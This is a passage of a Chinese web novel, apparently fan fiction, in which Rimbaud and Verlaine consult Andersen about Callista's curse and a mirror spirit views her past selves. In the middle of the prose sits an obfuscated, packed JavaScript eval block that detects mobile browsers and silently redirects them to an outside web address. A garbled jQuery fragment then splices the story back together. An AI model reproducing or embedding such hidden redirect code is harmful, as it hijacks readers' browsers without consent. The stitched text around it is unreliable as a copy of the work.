96
也就是这说话的间隙,魏尔伦眼尖的发现白发少女口中的舌头被截去了半截。
卡莉丝塔的异能发动的必须条件是言语项,换句话来说,如果卡莉丝塔不能说话,那么毫无疑问的,她也就只是一个毫无自保能力的普通人。
而像他们这样的合成异能体,最恐怖的不是异能,而是他们身体中不同寻常的机动性。
也就是说,只要卡莉丝塔的异能核心点不破碎,那么卡莉丝塔的异能发动就是完全不需要代价的。
甚至相比较于人类异能者来说,卡莉丝塔能用言语做到的事情有很多。那不是普通的言灵性异能,毕竟卡莉丝塔的异能全名可是——[如是神之所说]。
可是什么样的情况下,并没有破碎核心点的卡莉丝塔会被完全放弃?除非……
见魏尔伦想明白了,兰波也不再犹豫,拉过魏尔伦就往屋子里走。
精神类的异能很难缠,尽管异能主人完全没有恶意。
屋子的二楼中,褐发青年坐在柔软的靠背沙发上,身着休闲的T恤衫,左手拿的一面靓丽精致的镜子,右手端着一杯热可可。
他长叹一声,对着镜子嘟囔道:“是有够惨的,可你选择她的理由是什么呢?”
白发少女跟在两人后面,听见安徒生的问话,有些不确定的说:“我没有,那……是她选择了我。”
恰好此刻,兰波已经上到了二楼,他毫不客气的坐到了安徒生的对面。
他礼貌招呼道:“午安,安徒生先生。我是阿尔蒂尔·兰波。”
安徒生见两人落座,也就无所谓的把镜子放下,他点头表明自己清楚几人的来意。
不过他不太在乎,径直捧着热可可就埋头苦干,随后才不紧不慢的开口:“你们的确没猜错,那确实是她死亡的原因。不过那可都是上辈子的事情。”
“前半段的确是我操控的,可是后面的我就不清楚了。她实在是太敏锐了,你们想要知道更多的就要问镜子。”
也正是因为这份敏锐,在安徒生抽离控制权的一瞬间,卡莉丝塔的思绪就像烂尾楼,粗制滥造的钢筋承受简直不堪一击,不过一招,就彻底成了一片废墟。
话说是这么说,但其实没有人比安徒生看的更清楚了。
与其说那是上辈子的事情,不如说平行世界里的倾尽全力和殊死一搏。
安徒生现在是真有点好奇那个世界曾经发生过什么了,居然能让所有平行世界的同位体都甘愿陪着一起死。
兰波揉了揉眉心,眼前这个褐发青年有这一双很通透的绿色眼眸,看着大概三十多岁的模样。
他用虚心求教的语气发问道:“我不明白,安徒生先生。”
安徒生也不介意给兰波解答,他对小孩子很有耐心。不管是卡莉丝塔还是兰波,在他眼里都是孩子罢了。
“她刚刚所有回想的、看见的都不是她的记忆。但她又确实直面过死亡前的所有那也是她的真实经历。那些痛苦可是一份没少的承受了,不过说不定生前更痛苦呢?死了可能还是件好事。”
白发少女迅速接话道:“她被诅咒了,那是一个世界的诅咒。”
兰波尽量让自己的语气柔和一些,他问:“也就说,卡莉丝塔只是被迫接受了一份记忆。那是死亡后被下的诅咒,还是因为诅咒而死亡?”
安徒生本来也不是在乎那些繁文末节的人,他也理解作为家长对孩子的担忧。
于是他认真回答说:“虽然生前的生活跟被诅咒也没多大区别,但是准确来说应该是死亡后收到的诅咒。”
话也说到这个地步,多说一句也不碍事。安徒生想了想,还是善意的提醒道:“不过我建议你们去其他世界看看。那份记忆可以忘掉,可是身体的痛苦很难解决的。”
毕竟一个世界的诅咒,那是很难摆脱的。但要说单是她一个人被诅咒了其实也不全然对,她也诅咒了自己。
一旁沉默不语的魏尔伦倒是有些意外的看了眼安徒生,但很快,他又低下头查看自家妹妹的情况了。
对于两人都谈话一发不言,只是眼睛一眨不眨的盯着卡莉丝塔的脸,顺便在一旁安静听着。
兰波继续询问:“任何一个世界吗?”
他原本过来找安徒生,也只是想把两个人格符号分隔开来,但没想到现实给了他那么大的打击。
安徒生想了想,模糊不清说:“大概吧,毕竟没几个世界的她是活下来的,你手上的可是珍品。”
兰波蹙起眉,他似乎想到了什么,紧接着开口问道:“我明白了,不过您是有办法分隔开体内的两个人格吗?”
白发少女点点头,说:“当然。她选择了我,我愿意帮助她。”
事情倒是很好解决,但安徒生不想参与后面的所有事情了。
因为他突然意识到这后面一定有不少麻烦。
于是褐发青年直言不讳说:“我能做到的只有这么多了,你在这儿旅游可以,但我奉劝你们还是赶紧回法国去,或者找到你们那个蓝头发的小孩,他知道的要比你们想象中还要多得多。”
安徒生的话可没给这对法国搭档留一点面子,就差没把“赶紧走别烦我”几个字贴脸上了。
他实在受不了镜子那一副鬼样子。
主要还是因为镜子身上一直带着一股很浓的味道,怪异又难闻。上次他闻见这种恶心的味道还是在战场,真是够了。
更别说,随着时间的推移,味道越来越大,都快把他的房子淹没了。
搞得他就连带对卡莉丝塔的好奇心都少了很多。
“这次可是弗朗索瓦欠了我一个人情,你们这对优↗秀↘的→法国搭档来这儿,可把我们国王给吓坏了。”
然接下来的发生的事情就很简单了,只需要将卡莉丝塔交给白发少女。
可魏尔伦还是有些难以接受,他出声制止:“不能换个形象吗?”
白发少女被问的有些发懵,她看向安徒生,安徒生看向卡莉丝塔。
安徒生解释说:“这没什么,她只是一面镜子。”
也只是一面镜子。镜子可是脾气最好的了,别不识好歹。
兰波叹了口气,安徒生的话信息量有点大,他现在有些心烦意乱,想要立刻回去找老师商量。
他严重怀疑,自家老师可能早就清楚是什么结果,所以才会准许他来找安徒生解决问题的。
百分百是报复他这么久了还没带卡莉丝塔去看心理医生,顺带一提,他也没看心理医生。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425729|126354||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>白发少女抱着卡莉丝塔,转身就往楼下走,她需要一个没有人的环境!
不为什么,只是因为她想亲自确认对方是否真的选择了她、是否真的愿意接受一面镜子。
镜子原本就是空白的,它没有面容。很多时候,它的本体会安置在隔着玻璃的橱柜上,但绕是如此,它也会被蒙上一层白布。
就连制作出它的人——安徒生,也不愿意看见它。
尽管还是不明白为什么,明明它只是一面镜子而已,一面什么都做不了的镜子。
可是似乎安徒生先生不是这么想的,他总是很谨慎的对待它,像是大大方方但又从不触碰。
现在,镜子终于明白了。原来它并没有自己想的那样没用。
“你选择了我。”
那的确是一份诅咒,来自一个世界最浓厚的恶意所组成的,终其一生,无法摆脱。
卡莉丝塔对它并不设防,所以它轻而易举的就撬开了通往真理的那扇门。
理所应当的,镜子发现,它能看见很多东西。以这副模样,窥探更多不为人知的记忆。
卡莉丝塔的确死了,但和兰波与魏尔伦想的不同,她的死是孤独一掷、奋力一搏的自/杀/式同归于尽。
在那个世界,【厄尔庇斯】并不是一个柔情的存在,那个对人类漠不关心的人造神早就在日积月累的实验中丧失了理智。
祂杀死了自己的孩子。
那个时候的卡莉丝塔并不叫卡莉丝塔,只有一串冷冰冰的数码编号——Y0047。
Y0047不是卡莉丝塔,镜子永远不会被欺骗。
因为【厄尔庇斯】的缘故,本该是禇发蓝眼的Y0047变成了如今这副白化病模样。
正如魏尔伦所想的那样,谁会在乎一个实验品的感受?
只是因为一个名字,为了能够保证异能无时无刻不处于待命状态,Y0047可是生命中的每分每秒都在忍受身体被腐蚀的巨大痛苦。
她的灵魂支离破碎,只剩下几千行死板呆滞的编程公式。
这样暗无天日的日子持续了很久,灵魂深处密密麻麻的痛苦总是让Y0047不得安生。
从出生起就全然面对人性肮脏的军事基地的实验体是不明白自己的价值,从挣扎求生到绝望死心只需要一年时间。
一年时间也足够人类在一张有求必应的纸业上涂涂抹抹了。
镜子无法理解,它只觉得有些窒息,舌头处传过来痒意,让它恨不得立刻断舌求生!
它继续抱着这副失血过多的身体往前走,终于如愿以偿的看见了那个神经病人造神的孩子。
金发少女抱着一把西洋剑,笑意吟吟像是冬日里的暖阳,她说:“跟我走吧。”
只是接触的那一刹那,【厄尔庇斯】头一次失控,将那座用于囚禁飞鸟的小岛毁了大半。
镜子得出了一个结论那就是:躲在阴影处的怪物是不能渴求阳光的。
它觉得自己不能再窥探Y0047的记忆了,那不是卡莉丝塔,她们都不是卡莉丝塔。
哪怕她们是不同世界线中同一段人格符号,一个标点字符都没有错,镜子还是觉得她们不是同一个人。
“镜子中的世界是没有阳光的。”